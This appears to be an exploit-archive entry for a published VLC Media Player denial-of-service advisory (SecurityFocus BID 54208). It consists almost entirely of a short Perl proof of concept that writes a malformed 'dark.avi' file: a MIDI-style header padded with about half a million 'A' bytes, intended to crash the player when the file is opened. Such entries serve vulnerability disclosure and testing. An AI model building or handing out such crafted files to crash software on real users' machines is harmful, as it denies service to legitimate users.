source: https://www.securityfocus.com/bid/54208/info VLC Media Player is prone to a denial-of-service vulnerability. Successful exploits may allow attackers to crash the affected application, denying service to legitimate users. #!/usr/bin/perl my $h ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; my $d = "\x41" x 500429 ; my $file = "dark.avi"; open ($File, ">$file"); print $File $h,$d; close ($File);